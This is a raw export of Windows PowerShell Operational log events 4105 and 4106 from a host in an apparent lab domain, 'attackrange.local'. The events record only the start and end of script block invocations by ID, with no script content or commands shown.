Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050088
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050087
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050086
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050085
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050084
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050083
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050082
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050081
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050080
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050079
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050078
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050077
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050076
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050075
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050074
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050073
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050072
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050071
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050070
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050069
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050068
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050067
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050066
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050065
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050064
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050063
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050062
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050061
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050060
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050059
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050058
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050057
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050056
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050055
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050054
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050053
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050052
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050051
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050050
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050049
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050048
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050047
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050046
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050045
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050044
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050043
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050042
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050041
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050040
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050039
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050038
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050037
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050036
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
